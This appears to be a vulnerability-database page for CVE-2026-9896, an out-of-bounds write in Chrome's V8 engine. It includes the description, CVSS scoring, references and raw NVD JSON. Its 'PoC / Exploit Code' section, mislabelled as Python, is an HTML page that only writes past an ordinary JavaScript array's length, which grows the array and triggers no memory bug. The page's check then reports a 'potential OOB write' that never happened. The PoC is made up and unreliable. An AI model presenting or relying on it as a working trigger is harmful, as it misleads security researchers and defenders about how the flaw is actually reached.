CVE-2026-9896

Description

Out of bounds write in V8 in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  PoC for CVE-2026-9896 (Conceptual)
  This demonstrates a potential trigger for V8 OOB write.
  Requires vulnerable Chrome version < 148.0.7778.216
-->
<html>
<head>
<script>
function trigger_oob() {
    // Simulating the logic that causes the V8 engine to mishandle memory bounds
    // In a real scenario, specific array manipulation or JIT optimization triggers this.
    let arr = new Array(100);
    
    // Maliciously crafted operation to confuse the optimizer
    for (let i = 0; i < 200; i++) {
        // Writing beyond the allocated buffer size
        arr[i] = 0x4141; 
    }
    
    // Check if corruption occurred
    if (arr.length != 100) {
        console.log("Potential OOB write triggered.");
    }
}

// Execute the function
trigger_oob();
</script>
</head>
<body>
<h1>CVE-2026-9896 PoC Test</h1>
<p>Check console for results.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9896
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9896
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9896/
[4] VulDB https://vuldb.com/cve/CVE-2026-9896
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/508811474

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9896", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:47.600", "lastModified": "2026-05-29T12:16:27.877", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out of bounds write in V8 in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/508811474", "source": "[email protected]"}]}}